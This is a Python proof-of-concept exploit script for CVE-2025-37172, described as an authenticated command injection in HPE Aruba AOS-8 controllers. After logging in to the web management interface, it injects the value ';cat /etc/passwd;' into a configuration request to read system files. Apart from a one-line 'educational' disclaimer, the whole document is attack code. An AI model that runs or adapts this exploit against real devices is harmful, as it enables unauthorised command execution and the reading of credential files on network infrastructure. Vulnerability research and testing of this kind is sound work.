CVE-2025-37172

# CVE-2025-37172 PoC - HPE Aruba AOS-8 Command Injection # Note: This is a conceptual PoC for educational purposes only # Authorization required: Valid high-privilege credentials import requests import sys from urllib.parse import quote TARGET_URL = "https://<target-ip>:4343" USERNAME = "admin" PASSWORD = "admin_password" def exploit(target_url, username, password): """ Exploit CVE-2025-37172: Authenticated Command Injection in Aruba AOS-8 """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/v2/login.cgi" login_data = { "username": username, "password": password } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Command Injection via web management interface # Malicious payload to execute arbitrary commands cmd_injection_url = f"{target_url}/v2/configuration.cgi" # Example: Read /etc/passwd file malicious_cmd = ";cat /etc/passwd;" payload = { "action": "save", "variable": quote(malicious_cmd), "object": "mgmt_users" } response = session.post(cmd_injection_url, data=payload, verify=False, timeout=30) if response.status_code == 200: print("[+] Command injection successful!") print("[*] Response:", response.text[:500]) return True else: print("[-] Exploitation failed") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target-ip>") sys.exit(1) target = sys.argv[1] exploit(f"https://{target}:4343", USERNAME, PASSWORD)

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